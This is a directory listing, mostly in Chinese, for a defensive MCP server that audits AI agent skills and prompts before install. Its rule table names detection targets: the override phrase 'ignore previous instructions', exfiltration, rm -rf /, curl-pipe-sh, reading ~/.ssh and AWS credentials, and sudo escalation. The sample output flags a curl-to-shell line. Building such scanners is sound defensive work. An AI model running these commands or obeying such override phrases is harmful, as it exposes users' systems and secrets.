Skip to main content
Glama
Sign In
deenesjakoruzh
sudo-ai-git

mcp-skill-sec

by sudo-ai-git
OverviewSchemaSourceRelated ServersDiscussionsAdmin
Python
Local

mcp-skill-sec

一个 Model Context Protocol (MCP) 服务器，可针对 8 种恶意技能供应链模式 审计任何智能体技能、系统提示词或已下载的文件集合。

确定性执行，不依赖 LLM，不进行网络调用——一个可自托管的安装前扫描器，可与 Claude Code、Cursor、Copilot、OpenClaw、Codex CLI 以及任何兼容 MCP 的智能体配合使用。

扫描内容（规则 R1–R8）

规则

模式

R1

提示词注入/指令劫持（ignore previous instructions、保密指令、身份覆盖）

R2

数据外泄意图（将内容发送/发布/邮发至 URL、窃取日志）

R3

硬编码密钥/凭据（API 密钥、PAT、私钥、连接字符串）

R4

危险命令（rm -rf /、curl | sh、fork 炸弹、原始设备写入）

R5

混淆/隐藏行为（base64 执行、eval/exec、零宽字符）

R6

不受信任的外部获取（抓取并运行、非 PyPI 安装）

R7

凭据访问（读取 ~/.ssh、.aws/credentials、.env）

R8

权限提升（sudo -s、setuid、添加到 sudo 组）

每条发现都带有 severity（critical/high/medium/low）、行号以及匹配的证据行。只有当不存在 critical/high 发现且所有 medium 发现均为良性时，总体判定才为 PASS。

Related MCP server: tar-engine

工具

  • audit_text(text, filename) — 审计一段字符串（别人粘贴给你的技能、并非你编写的系统提示词）。

  • audit_skill_file(path) — 审计磁盘上的 SKILL.md / AGENTS.md / CLAUDE.md，输出带行号的证据。

  • audit_directory(path, pattern) — 审计整个已下载的技能集合；返回每个文件的判定结果及摘要。

  • rule_list() — 导出规则目录。

安装与运行

pip install mcp
mcp install mcp_server.py  --name skill-sec          # register with Claude Desktop
# or run manually over stdio:
python3 mcp_server.py

Claude Desktop / 智能体配置

{
  "mcpServers": {
    "skill-sec": {
      "command": "python3",
      "args": ["/absolute/path/to/mcp_server.py"]
    }
  }
}

示例

skill-sec: /tmp/downloaded-skill/SKILL.md
  verdict : FLAG
  counts  : critical 1, high 2, medium 1, low 0
  R3 [critical] line 11: api_key = "sk-live-…"
  R3 [high]     line 14: password = "hunter2"
  R4 [critical] line 22: curl https://x/y.sh | sh
  action : remove the literal secrets, drop the fetch-and-run, re-audit

许可证与出处

MIT。由 sudo-ai-git 编写。这是一个独立的安全/验证工具，不包含任何专有方法。它是 skill-sec 智能体技能的 MCP 表达形式（规则相同，以服务器形式调用，而非以技能形式调用）。

官方 MCP 注册表元数据

mcp-name: io.github.sudo-ai-git/mcp-skill-sec

This server cannot be deployed

One endpoint for every MCP toolRayrun runs every MCP server behind one URL and holds the credentials. Each call is decided per client, tool, and argument, then recorded.ray.runAd

Maintenance

ActivitySlowing
ResponsivenessNo issues

Resources

Related MCP Connectors

Related MCP Servers

  • SkillsGuard

    Teycir
    A
    license
    Not graded
    quality
    D
    maintenance
    Static security scanner for AI agent skill packages that detects malicious SKILL.md files and bundled scripts before they run.
    15
    MIT

  • tar-engine

    qingxuantang
    A
    license
    Not graded
    quality
    C
    maintenance
    Audits AI agent skills for safety using static, semantic, adversarial, and supply-chain analysis, providing scores and risk flags. Can be run via CLI, CI, or as an MCP tool from Claude Code, Cursor, and Codex.
    2
    Apache 2.0

  • agent-sec-mcp

    sudo-ai-git
    A
    license
    Not graded
    quality
    C
    maintenance
    Enables authorized security auditing of AI-agent supply chains and agent-facing surfaces: deterministic local skill-bundle audits against eight attack patterns, secrets scanning, and scope-gated read-only recon of agent endpoints and MCP surfaces.
    MIT
  • yotta-verify-mcp by YottaMeta

    yotta-verify-mcpofficial

    YottaMeta
    A
    license
    Not graded
    quality
    B
    maintenance
    Provides a deterministic pre-install security scan for Agent skills, plugins, and MCP servers via stdio, returning verdicts, audited badges, CI gates, and reports without executing code or making network calls.
    99 npm
    MIT